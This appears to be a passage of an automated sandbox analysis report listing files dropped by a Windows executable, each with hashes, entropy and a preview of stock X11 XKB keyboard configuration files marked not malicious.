SHA-512:	85A10CE8678A63F8B069937E361A13A2B5D7F85AF73366475917075205A397C36745F15F3F56F612FF1B11A121C16DC51FA358C48D77CA91B3878C3DF3075CE3
Malicious:	false
Preview:	default xkb_compatibility "complete" {. include "basic". augment "iso9995". augment "mousekeys". augment "accessx(full)". augment "misc". augment "xfree86". augment "level5". augment "caps(caps_lock)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\default

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	4.878488161930016
Encrypted:	false
SSDEEP:	6:jLmZ7nS/3Cp+xo6G6GYQdRAJs5fAPs5JHMnM505DWM5ST0B5/jMeos5bFW5g4:jLr3CUxnG6GYQsJsEsRyYMSuYeo4bU3
MD5:	41FF41E8168FD5C9059F0C530D6D55A1
SHA1:	71400BC0B13BA46C87B0DD44FB98A1FCB4890CE9
SHA-256:	CFD22663EFFA0AC410C1F99776BC5BE492FD4FF392A8291BA31E3AED02B4CCA6
SHA-512:	11C4B30D274D9B15F3328534B0EE62595A7CF24174A28B41B97D04D4E57980FC128A44C03B945BCAAF54E23927A911B75C874C240C409D0CB29860BF1121056D
Malicious:	false
Preview:	// $XKeyboardConfig$.// $Xorg: default,v 1.3 2000/08/17 19:54:34 cpqbld Exp $.default xkb_compatibility "default" {. include "basic". augment "mousekeys". augment "accessx(basic)". augment "misc". augment "iso9995". augment "level5".// ??should be changed/renamed/removed.// augment "xfree86". augment "japan".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\iso9995

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1643
Entropy (8bit):	4.9276194625239675
Encrypted:	false
SSDEEP:	24:URK+BGYQbf5Wn0EdxPRF9RZRH3RJR+tFiR+kXdB5Z2M+oRA0:AJdaf5Wn7dLAtFpkhA0
MD5:	677050E63D766EEF0F300267DE2830FA
SHA1:	5796969B16314BC9767E1773597C4B3CA50645E3
SHA-256:	873244FEBFB4F44FCF35E751E897517044AC9DD7042DD8F4200D6EE06FFD16B7
SHA-512:	3A20811E7489485FF5B0A3EDF9C5A132197CD62734428F5A0163B7BF2FEEE45FA19AB6A2C7E4372BA656BBEEC45D36E8249407BB276B4EAD362BF6AE5218552B
Malicious:	false
Preview:	// Fairly complete set of symbol interpretations .// to provide reasonable default behavior..default partial xkb_compatibility "default" {. virtual_modifiers LevelThree,AltGr;.. interpret.repeat= False;. setMods.clearLocks= True;. latchMods.clearLocks= True;. latchMods.latchToLock= True;.. interpret ISO_Level2_Latch+Shift {..useModMapMods= level1;..action= LatchMods(modifiers=Shift);. };.. interpret ISO_Level3_Shift+Any {..useModMapMods= level1;..virtualModifier= LevelThree;..action= SetMods(modifiers=LevelThree);. };.. interpret ISO_Level3_Shift {..action= SetMods(modifiers=LevelThree);. };.. interpret ISO_Level3_Latch+Any {..useModMapMods= level1;..virtualModifier= LevelThree;..action= LatchMods(modifiers=LevelThree);. };.. interpret ISO_Level3_Latch {..action= LatchMods(modifiers=LevelThree);. };.. interpret ISO_Level3_Lock+Any {..useModMapMods= level1;..virtualModifier= LevelThree;..action= LockMods(modifiers=LevelThree);. };..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\japan

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	998
Entropy (8bit):	4.7871758509495175
Encrypted:	false
SSDEEP:	24:dHfSMcZ4+B9c6mOQhBXOpOQOe4xxS4OR9V5S0:5cp9ZmLX6drgS4ObC0
MD5:	BD48E1533E6891F13483F74B44D970A0
SHA1:	4DCA52DEF7CC6833BB3D92A43BD3B1528AAC2F61
SHA-256:	86431A7A4BD8F39E8B478D39CF2FF41651B7AAF4C0945B67406EAF0D14A9A712
SHA-512:	DB2CF67CDA101F86BB060E8F938563D98E5F5D13A3B96C341F06B7089F1546C03D4177D502C6ACD5764B5A0F1E64AFE30B2D09CD45EE567EC17FAB5575EF68AE
Malicious:	false
Preview:	// Japanese keyboards need Eisu and Kana shift and .// lock keys, which are typically bound to the.// second shift level for some other modifier key..// These interpretations disable the default.// interpretation (which would have these keys set.// the same modifier as the level one symbol)...default partial xkb_compatibility "japan" {.. interpret.repeat= False;.. interpret Eisu_Shift+Lock {..action= NoAction();. };.. interpret Eisu_toggle+Lock {..action= NoAction();. };.. interpret Kana_Shift+Lock {..action= NoAction();. };.. interpret Kana_Lock+Lock {..action= NoAction();. };.};..// Some Japanese keyboards have an explict Kana Lock key & matching LED..partial xkb_compatibility "kana_lock" {.. virtual_modifiers Kana_Lock;.. interpret Kana_Lock+AnyOfOrNone(all) {. virtualModifier= Kana_Lock;. useModMapMods=level1;. action= LockGroup(group=+1);. };.. indicator "Kana" {. !allowExplicit;..groups= All-Group1;. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\keypad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	4.929769222813912
Encrypted:	false
SSDEEP:	24:YnB3PovpYBbO5Wn0EdxaZXrBjXsDj0TerXrKQBbO5Wn0EdxaZPOrBjXsDj0TeYXO:g3GpYJO5Wn7xaZXrBjXsDjgyXrRJO5Wu
MD5:	6A5C56D44F81A20765419773C40CCCD1
SHA1:	77EABF25F910028543BE242FEB5C0351AAD087B4
SHA-256:	81A834933F1D81F75187F2718BAE5054B911104C41442109B733ED1CD0A7BDDD
SHA-512:	0C9A030565A5606F87A3CE76951E31C6EB941FAF8E2E67148A00F3DE1EFC7A3CBC2B46896BFD30A9CAA46BECC69AF968428E4FDF51FF63DA00A18861FE482452
Malicious:	false
Preview:	// $Xorg: keypad,v 1.3 2000/08/17 19:54:34 cpqbld Exp $..// Interpretations needed to implement the numeric keypad.// as an overlay instead of a modifier...partial hidden xkb_compatibility "overlay" {. include "keypad(overlay1)".};.partial hidden xkb_compatibility "overlay1" {. virtual_modifiers NumLock,AltGr;.. interpret.repeat= False;. setMods.clearLocks= True;. latchMods.clearLocks= True;. latchMods.latchToLock= True;.. interpret Num_Lock {..virtualModifier= NumLock;..action= LockControls(ctrls=overlay1);. };. interpret Num_Lock+Any {..virtualModifier= NumLock;..action= LockControls(ctrls=overlay1);. };.. indicator.allowExplicit= True;. indicator.driveskbd= True;. replace indicator "Num Lock" {..whichModState= Locked;..modifiers= NumLock;..controls= Overlay1;. };. indicator.allowExplicit= True;.};.partial hidden xkb_compatibility "overlay2" {. virtual_modifiers NumLock,AltGr;.. interpret.repeat= False;. setMods.clearLocks= Tru

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\ledcaps

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	503
Entropy (8bit):	4.561809515469401
Encrypted:	false
SSDEEP:	6:jQsTlpqFWb5+wn+RrwQvzMAALVMb/zkrEsANQvzMiakHFtzkr6CQvzMWMfIzv:jQVWbzn+BNbMFPBbMvkls6rbMw
MD5:	B7EF413066C430D6409D3F347E3433DD
SHA1:	91CDCCA14EEA2F8887C0CD8187FCBCE3844E146F
SHA-256:	393FDE9BD47ECAD0595A56FDB8339F57613783A142DB77CA7159B0D9CCF31543
SHA-512:	0A07ECDFDB97DEE6445C4645A447B775B23FB71EBF9BC8BC21AE1902C1F81322CE12CA64415DAA39CECF179F85DDEB5D9BE10F3401A76532D3B455A27FA04483
Malicious:	false
Preview:	// Use Caps Lock LED to show either Caps Lock, Group, or Shift Lock state..default partial xkb_compatibility "caps_lock" {. indicator "Caps Lock" {. !allowExplicit;. whichModState= Locked;. modifiers= Lock;. };.};..partial xkb_compatibility "group_lock" {. indicator "Caps Lock" {. modifiers= None;. groups=All-group1;. };.};..partial xkb_compatibility "shift_lock" {. indicator "Caps Lock" {. whichModState= Locked;. modifiers= Shift;. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\lednum

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	501
Entropy (8bit):	4.572895731334902
Encrypted:	false
SSDEEP:	6:jDIosTlpqrH2Wb5+wn+RrRTtQM2AALVMlP/zkrEsANQM2iakHFtzkr6CQM2WMfID:jDIoj2Wbzn+B5mM2FW2BM2vkls6rM2w
MD5:	1F09E95CBAADB5A49D7F18DEC7071419
SHA1:	165DCE67E90BE16766E8620738ED7AE05D5006CC
SHA-256:	0687FECC3AFA78DA3089FB6C4538EFFAD64F0AC29CC8828C1BED60B2A7E59A41
SHA-512:	F7F1494636217B0099D948EC8D3DB7CFF85B4DC866B0997A418DC42C5C595819095A683DE9808BA2879ABDA0AC5CE14DFA36DED95AF23EA96C5E67A0BBF97473
Malicious:	false
Preview:	// Use Num Lock LED to show either Num Lock, Group, or Shift Lock state..default partial xkb_compatibility "num_lock" {. indicator "Num Lock" {. !allowExplicit;. whichModState= Locked;. modifiers= NumLock;. };.};..partial xkb_compatibility "group_lock" {. indicator "Num Lock" {. modifiers= None;. groups=All-group1;. };.};..partial xkb_compatibility "shift_lock" {. indicator "Num Lock" {. whichModState= Locked;. modifiers= Shift;. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\ledscroll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	520
Entropy (8bit):	4.509291799318713
Encrypted:	false
SSDEEP:	6:j5Tlpq4b5+wn+RrjYQ/A65LVMYv/zkrEsANQ/A6RakHFtzkr6CQ/A6LMfIzv:j/bzn+Bh4KvuB4Pkls6r4Q
MD5:	A155109EA7C9CD0466E79F1CADD3A18F
SHA1:	41772C2C5BC7039ECDCBF2279D6F0879BAC1D562
SHA-256:	0AA3FE2C1158D60AD8F2FDAD5C3F369C3112B8184B4FEC7E84117AF62E3AA57D
SHA-512:	60F986F2D6B3AE6D80E5584B404535A011C9167BD1668A415CEDAC827EFD601D3A5011507EEB3A6C752010F3F0EFA1223549BFB6034F6502F2F12B4851C40587
Malicious:	false
Preview:	// Use Scroll Lock LED to show either Scroll Lock, Group, or Shift Lock state..default partial xkb_compatibility "scroll_lock" {. indicator "Scroll Lock" {. allowExplicit;. whichModState= Locked;. modifiers= ScrollLock;. };.};..partial xkb_compatibility "group_lock" {. indicator "Scroll Lock" {. modifiers= None;. groups=All-group1;. };.};..partial xkb_compatibility "shift_lock" {. indicator "Scroll Lock" {. whichModState= Locked;. modifiers= Shift;. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\level5

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.924169932639826
Encrypted:	false
SSDEEP:	24:URK+BGYQbHWn0EdxH5f5xl5x15x6O5xfX9ei+VRzevzAhP/Fxfm:AJdaHWn7PJ56Cfte1JhP/ffm
MD5:	5A3D3EC3874D25DB5684C5101276CFA6
SHA1:	6B7AC932D3E4260FC0785DDB4FBEDDB62E564F1B
SHA-256:	E9DCA6F9CBF8E80D9A730C5B96A97CD53E270DD8E58F90234970D206E8BABA77
SHA-512:	F9C45C296954286A134110CE20FA9CF83F13758B5260A38DDA16CA76E098C8A208F00782669D054DE88E9D329F4A5D0F24613569FA4DE435E60C07C683E6DA34
Malicious:	false
Preview:	// Fairly complete set of symbol interpretations .// to provide reasonable default behavior..default partial xkb_compatibility "default" {. virtual_modifiers LevelFive;.. interpret.repeat= False;. setMods.clearLocks= True;. latchMods.clearLocks= True;. latchMods.latchToLock= True;.. interpret ISO_Level5_Shift+Any {..useModMapMods= level1;..virtualModifier= LevelFive;..action= SetMods(modifiers=LevelFive);. };.. interpret ISO_Level5_Shift {..action= SetMods(modifiers=LevelFive);. };.. interpret ISO_Level5_Latch+Any {..useModMapMods= level1;..virtualModifier= LevelFive;..action= LatchMods(modifiers=LevelFive);. };.. interpret ISO_Level5_Latch {..action= LatchMods(modifiers=LevelFive);. };.. interpret ISO_Level5_Lock+Any {..useModMapMods= level1;..virtualModifier= LevelFive;..action= LockMods(modifiers=LevelFive);. };.. interpret ISO_Level5_Lock {..action= LockMods(modifiers=LevelFive);. };.};.partial xkb_compatibility "level5_lock" {..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\misc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2769
Entropy (8bit):	4.688579234315311
Encrypted:	false
SSDEEP:	48:Jt14K+KOV+zqAGRG1+GT+1+kyLsLtsw+cVef8ReaHZ:JtWKrOV+Qo1D+1MQLywQ0Rea5
MD5:	67218630E17685C1494D1B46104239F5
SHA1:	70B243F63760F366DC04574E2AE1BE3FC7C6F8F8
SHA-256:	B712449FDE2B22C44B6A8F1D79827F3D5DCA24E9B578EB782AB8F2DC1ABD9C0F
SHA-512:	521926A9C30FE71C4364E2D99999BB4C704996FA8BD10C6D5E0ABDE34D85809F482F5D3BF36386956CFBBF2FA4B56F38992478FFC5CAAF877096160FBB40EB1D
Malicious:	false
Preview:	default partial xkb_compatibility "misc" {.. virtual_modifiers.Alt,Meta,Super,Hyper,ScrollLock;.. // Interpretations for some other useful keys.. interpret Terminate_Server {. action = Terminate();. };.. setMods.clearLocks= True;.. // Sets the "Alt" virtual modifier.. interpret Alt_L+Any {. //useModMapMods= level1;..virtualModifier= Alt;..action = SetMods(modifiers=modMapMods);. };.. interpret Alt_L.{..action = SetMods(modifiers=Alt);. };.. interpret Alt_R+Any {. //useModMapMods= level1;..virtualModifier= Alt;..action = SetMods(modifiers=modMapMods);. };.. interpret Alt_R.{..action = SetMods(modifiers=Alt);. };.. // Sets the "Meta" virtual modifier.. interpret Meta_L+Any {.// useModMapMods= level1;..virtualModifier= Meta;..action = SetMods(modifiers=modMapMods);. };.. interpret Meta_L.{..action = SetMods(modifiers=Meta);. };.. interpret Meta_R+Any {. //useModMapMods= level1;.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\mousekeys

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4681
Entropy (8bit):	4.772925402881789
Encrypted:	false
SSDEEP:	96:jG5SP6tEtx/cgUr2POXvV0U5O8fK+zqqV0a+XFuwzkeMk/FaLmBkOG01lIB0j0BP:6vMx/cgUrV1KoqG0a+XFLPFd+mFPPjj2
MD5:	0A02FEE2C84DD2A9D3071B53522E29E3
SHA1:	58B3B240573D0429A63E9B749F85FA56B7AE54A8
SHA-256:	B5325EB456A5BD411A0A65EE9BD59478ABFCA8873E04EED88D03441B74BFC9BE
SHA-512:	5F1B23438BCF6B91748E36AE10637955DD2EB0B28136DDC84284010A62C7CED97AA19526D274EB5CF3E8F3363F4D2B3BF4059834E0CE5B96336EE893266C2BCC
Malicious:	false
Preview:	// Interpretations for arrow keys and a bunch of other .// common keysyms which make it possible to bind "mouse" .// keys using xmodmap and activate or deactivate them .// from the keyboard...default partial xkb_compatibility "mousekeys" {.. // Keypad actions.. //. interpret.repeat= True;.. interpret KP_1 { ..action = MovePtr(x=-1,y= +1); . };. interpret KP_End { ..action = MovePtr(x=-1,y= +1); . };.. interpret KP_2 { ..action = MovePtr(x=+0,y= +1); . };. interpret KP_Down { ..action = MovePtr(x=+0,y= +1); . };.. interpret KP_3 { ..action = MovePtr(x=+1,y=+1); . };. interpret KP_Next { . .action = MovePtr(x=+1,y=+1); . };.. interpret KP_4 { ..action = MovePtr(x=-1,y=+0); . };. interpret KP_Left { ..action = MovePtr(x=-1,y=+0); . };.. interpret KP_6 { ..action = MovePtr(x=+1,y=+0); . };. interpret KP_Right { . .action = MovePtr(x=+1,y=+0); . };.. interpret KP_7 { ..action = MovePtr(x=-1,y=-1); . };. interpret

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\norepeat

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.945900900046251
Encrypted:	false
SSDEEP:	6:jLDUhW3CpTo/cJChuQWn+RrfwZALGGy47OIwzv:jLAA3ChoFhuQWn+BfsmGGwP
MD5:	36C74B22E483F61E36007A234F2D55A1
SHA1:	84D137BFAAA0D9699AFA9425400325CC4D38D3C4
SHA-256:	2CB916CDA769679FA622E178F4B36F0C9B11B79348580E9012B97A58F751AAA4
SHA-512:	719993449CC31D87D6A63DA4940071758BD9B9B3E7EBB3B1A2F9B47476BD558310B42FECFD00FD5C95F63F8B6C481CCFD11500822CE68DF74FCCB3762DC1702F
Malicious:	false
Preview:	// $Xorg: norepeat,v 1.3 2000/08/17 19:54:34 cpqbld Exp $..// Put any otherwise normal keys that you don't want to repeat in.// this file..default partial xkb_compatibility "norepeat" {. interpret Return {..action= NoAction();..repeat= False;. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\olpc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.554535566931465
Encrypted:	false
SSDEEP:	12:MUdgvnG6iVR5Kgv/LIeemaHaZ6ZYwFmeIoeIaHaZ6ZJwFmepoe0aHaZ6ZzXwFmeo:8G6qKgv/LIuJbuad+XCzV+8iP
MD5:	DECE60ECE2CEB0C8F582C60BBABDFECC
SHA1:	8CF8901D239DFFF65B6FD58C3BC49D96B9898768
SHA-256:	73F933B8D750822371E5569954CACA866E91FF84D1ADBF95E202A19D2E3DD2E9
SHA-512:	55415CA15A84B5425BB57DFFD99C35DFC039CF029BDC7B5E87DA2DD4DA537CD0DE35A4746CBD50494AA7B75AF944814AE4FD68709A4313798165920077963628
Malicious:	false
Preview:	//.// Created by Bernardo Innocenti <bernie@codewiz.org>.//.// Map the OLPC game keys to virtual modifiers.//..default xkb_compatibility "olpc" {. include "complete".. virtual_modifiers Square,Cross,Triangle,Circle;.. interpret KP_Home+Any {. //useModMapMods= level1;. virtualModifier= Square;. action = SetMods(modifiers=modMapMods);. };.. interpret KP_Home {. action = SetMods(modifiers=Square);. };.. interpret KP_Next+Any {. //useModMapMods= level1;. virtualModifier= Cross;. action = SetMods(modifiers=modMapMods);. };.. interpret KP_Next {. action = SetMods(modifiers=Cross);. };.. interpret KP_End+Any {. //useModMapMods= level1;. virtualModifier= Circle;. action = SetMods(modifiers=modMapMods);. };.. interpret KP_End {. action = SetMods(modifiers=Circle);. };.. interpret KP_Prior+Any {. //useModMapMods= level1;. virtualModifier= Tria

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	4.69160433722754
Encrypted:	false
SSDEEP:	6:Nw+RrcZJrSekfEQXG0XBPSweeAkrVJX4dZY3KkM8IwFKwkeAk5stW24dZY3KkM87:K+B6rSekfnXNBD/tKHzwFmeYoHzwF9
MD5:	056A017E7F1ADA584FA13614EC28D194
SHA1:	EE779B0AFAD3FAABD3B64362D9350AA9BF5F4587
SHA-256:	6AB6C9FA631097E377536FEA1A532469DA373E6B6772DFEBBA8D1A2F00E4E26C
SHA-512:	F06DCF1AA4AD3F783BBF474A99B13503E161026BA9AB759544D6582162AE910DAEAA1D58A133C0E09D038589F8837FA1CA9F49D8CFB541C12DE510D7A2FD3B1F
Malicious:	false
Preview:	default partial xkb_compatibility "pc" {.. // Sets the "Alt" virtual modifier.. virtual_modifiers.Alt;.. setMods.clearLocks= True;. interpret Alt_L+Any { ..virtualModifier= Alt;..action = SetMods(modifiers=modMapMods);. };.. interpret Alt_R+Any.{..virtualModifier= Alt;..action = SetMods(modifiers=modMapMods);. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\pc98

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1237
Entropy (8bit):	4.864367417831453
Encrypted:	false
SSDEEP:	24:/FEhfG6bBbO5Wn0Ed5HuFq5rauakWKXjMV/XO:mfG6bJO5Wn75OFq5r1akWKXjM/XO
MD5:	A16812C2C451D4D92F0E2FC2702D79E9
SHA1:	CDAEE18DA068BAE6BF05ACEF5D6911430EE959E2
SHA-256:	F6F3C7D85399BE65A6FDF63569F67783CDB798E14CBB219C6B1FF3564D69389E
SHA-512:	3129D7638F9C0BA2B3D9640B9A9F976E1933B90EF5E367749258445C2CD40595B49DDDE3754B7367EBE3D2D3B7DA70C47544F3609345853105C2D33ACA7F0477
Malicious:	false
Preview:	// Minimal set of symbol interpretations to provide .// reasonable default behavior (Num lock, shift and .// caps lock and mode switch) and set up the .// automatic updating of common keyboard LEDs...default xkb_compatibility "basic" {. virtual_modifiers NumLock,AltGr;.. interpret.repeat= False;. setMods.clearLocks= True;. latchMods.clearLocks= True;. latchMods.latchToLock= True;.. interpret Shift_Lock+AnyOf(Shift+Lock) {..action= LockMods(modifiers=Shift);. };..// interpret Any+Lock {.//.action= LockMods(modifiers=Lock);.// }; .. interpret Num_Lock+Any {..virtualModifier= NumLock;..action= LockMods(modifiers=NumLock);. };.. interpret Mode_switch {..useModMapMods= level1;..virtualModifier= AltGr;..action= SetGroup(group=2,clearLocks);. };.. interpret Any + Any {..action= SetMods(modifiers=modMapMods);. };.. group 2 = AltGr;. group 3 = AltGr;. group 4 = AltGr;.. indicator.allowExplicit= False;. indicator "Caps Lock" { ..whichMo

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\xfree86

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1843
Entropy (8bit):	4.66852507321095
Encrypted:	false
SSDEEP:	48:jvlkEpOpkpm9pspmpcp6pkp4pIpy1phhof5K4Yc:j9kqwKmDC4SkKWGKHof5K4Yc
MD5:	A84C455FB19B7387D3B199DBFD1D84D3
SHA1:	A7ECE41FF0722376F35E8B64A93FD53BF2C5F598
SHA-256:	492AD841ED78F6E9C9741C61605F682BE36C054560D342905366B087418188A2
SHA-512:	B2D20EB61934F48CC2C3BE369561FC20D7568587A7CA120A5D456AF4741EB1958EB40B341320F0112CA0C514C99511223AC528EE526A4DAD4BD77DB40B70A468
Malicious:	false
Preview:	// XFree86 special keysyms..default partial xkb_compatibility "basic" {.. interpret.repeat= True;.. interpret XF86_Switch_VT_1 {. action = SwitchScreen(Screen=1, !SameServer);. };. interpret XF86_Switch_VT_2 {. action = SwitchScreen(Screen=2, !SameServer);. };. interpret XF86_Switch_VT_3 {. action = SwitchScreen(Screen=3, !SameServer);. };. interpret XF86_Switch_VT_4 {. action = SwitchScreen(Screen=4, !SameServer);. };. interpret XF86_Switch_VT_5 {. action = SwitchScreen(Screen=5, !SameServer);. };. interpret XF86_Switch_VT_6 {. action = SwitchScreen(Screen=6, !SameServer);. };. interpret XF86_Switch_VT_7 {. action = SwitchScreen(Screen=7, !SameServer);. };. interpret XF86_Switch_VT_8 {. action = SwitchScreen(Screen=8, !SameServer);. };. interpret XF86_Switch_VT_9 {. action = SwitchScreen(Screen=9, !SameServer);. };. interpret XF86_Switch_VT_10 {.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\xtest

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	4.756490458257805
Encrypted:	false
SSDEEP:	24:CG6UeM+C6+XMzBQUWjFLBMQDBbO5Wn0EdEAKHwrkuakWKXjMUKXO:CG6LC6RPWjFLBM4JO5Wn7nKQrHakWKXv
MD5:	9F1F1C81539983172E8CA0AA85D875EF
SHA1:	A4CF0359A7C4A9661536C34A67F7D66B7C9143BD
SHA-256:	E04D067C40755AA519692017A7D7C731BFCE43050995C4B1020D39EF3FB41B7B
SHA-512:	F41676CC3D8725C0707A38E8F1BEA44AA9E61F99BEBF6DC49771313FFB0A28B8FBCEBEDE69D8C4A62EC5555D21057F6D92D87E4F5E9A402901D20DFEED0CB0F3
Malicious:	false
Preview:	default xkb_compatibility "xtest" {.. // Minimal set of symbol interpretations to provide. // reasonable behavior for testing. The X Test . // Suite assumes that it can set any modifier by . // simulating a KeyPress and clear it by simulating . // a KeyRelease. Because of the way that XKB . // implements locking/latching modifiers, this . // approach fails in some cases (typically the . // lock or num lock modifiers). These symbol. // interpretations make all modifier keys just. // set the corresponding modifier so that xtest. // will see the behavior it expects... virtual_modifiers NumLock,AltGr;.. interpret.repeat= False;. setMods.clearLocks= True;. latchMods.clearLocks= True;. latchMods.latchToLock= False;.. interpret Shift_Lock+AnyOf(Shift+Lock) {..action= SetMods(modifiers=Shift);. };.. interpret Num_Lock+Any {..virtualModifier= NumLock;..action= SetMods(modifiers=NumLock);. };.. interpret Mode_switch {..useModMap

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\amiga

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6228
Entropy (8bit):	4.921040288879523
Encrypted:	false
SSDEEP:	96:EzFbLrX8L2oqmgLqzKNOvnr9JC3xzfFq9TDzpnXi4zEzhzFbLuX8L2rk2admgLq4:MfFAbNkvSy5Mba
MD5:	C9EAA1C1483CE91D9359537B50738D0B
SHA1:	CB1A1102DB27282C4B7FF984CAE60655A4D753FD
SHA-256:	30C221BA7EADDCB16C5CA7F982A521E552F901ADF06002E387F48C301060B751
SHA-512:	15771633334F65108239FF18BD70C28A907E2F3E3C300AE881930ACF6576B29392687D892AAC3D15FF034D51564CEDAA0E20168A7A2F3330BECFE4CEDA2EFB4C
Malicious:	false
Preview:	default xkb_geometry "usa1" {.. description= "Amiga (usa1)";. width= 490;. height= 175;.. shape.cornerRadius= 1;. shape "NORM" { { [ 18,18] }, { [2,1], [ 16,17] } };. shape "BKSP" { { [ 18,18] }, { [2,1], [ 16,17] } };. shape "FCTS" { { [ 23,18] }, { [2,1], [ 21,17] } };. shape "TLDE" { { [ 28,18] }, { [2,1], [ 21,17] } };. shape "TABK" { { [ 37,18] }, { [2,1], [ 35,17] } };. shape "CTRL" { { [ 23,18] }, { [2,1], [ 21,17] } };. shape "CAPS" { { [ 18,18] }, { [2,1], [ 16,17] } };. shape "RTRN" {..approx = { [ 16, 0], [42,37] },..{ [16, 0], [42, 0], [42,37],.. [ 0,37], [ 0,19], [16,19] },..{ [18, 1], [40, 1], [40,36],.. [ 2,36], [ 2,20], [18,20] } };. shape "LFSH" { { [ 52,18] }, { [2,1], [ 50,17] } };. shape "RTSH" { { [ 52,18] }, { [2,1], [ 50,17] } };. shape "MODK" { { [ 23,18] }, { [2,1], [ 21,17] } };. shape "SPCE" { { [172,18] }, { [2,1], [170,17] } };. shape "DELE" { { [ 28,18] }, { [2,1], [ 26,17] } };. shape "KP0" { { [ 37

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\ataritt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5775
Entropy (8bit):	4.93538527376424
Encrypted:	false
SSDEEP:	96:zzXDEOXC3kmEqEK/kO4M7c9JCXozfFqOdYW3Xi4zEzazxxEOXC30LUENRK/kO4Mz:gz2fFVwd2fX7a
MD5:	1EEE4B746528919D9846720228A7EE27
SHA1:	910C93AA1CDB102A05042374CCFDE1C1A7F74C89
SHA-256:	B43AF41AE3F50342760C8D7F6A2E53C10B6C04F47CD5F7693CD579B16CBE0395
SHA-512:	C9449F5353A770B40247B9D033AD1183D64D24C83CCC4A2E6785F7E2AACC0185872DE103ADEF5C3E7FB64E732052660F3765BAD129C801555D5401433176A213
Malicious:	false
Preview:	default xkb_geometry "us" {.. description= "Atari TT (us)";. width= 480;. height= 173;.. shape.cornerRadius= 1;. shape "NORM" { { [ 18,18] }, { [2,1], [ 16,17] } };. shape "BKSP" { { [ 37,18] }, { [2,1], [ 35,17] } };. shape "TABK" { { [ 28,18] }, { [2,1], [ 26,17] } };. shape "RTRN" { approx = { [0,19], [32,37] },... { [ 14, 0], [32, 0], [32,37], [0,37], [0,19], [14,19] },... { [ 16, 1], [30, 1], [30,36], [2,36], [2,20], [16,20] } };. shape "CTRL" { { [ 32,18] }, { [2,1], [ 30,17] } };. shape "LFSH" { { [ 42,18] }, { [2,1], [ 40,17] } };. shape "RTSH" { { [ 52,18] }, { [2,1], [ 50,17] } };. shape "MODK" { { [ 28,18] }, { [2,1], [ 26,17] } };. shape "SPCE" { { [172,18] }, { [2,1], [170,17] } };. shape "FCTS" { { [ 28,10] }, { [2,1], [ 26,9] } };. shape "KP0" { { [ 37,18] }, { [2,1], [ 35,17] } };. shape "KPEN" { { [ 18,37] }, { [2,1], [ 16,36] } };.. section.left= 21;. row.left= 1;. key.shape = "NORM";. key.gap= 1;. s

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\chicony

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4540
Entropy (8bit):	4.848373372062135
Encrypted:	false
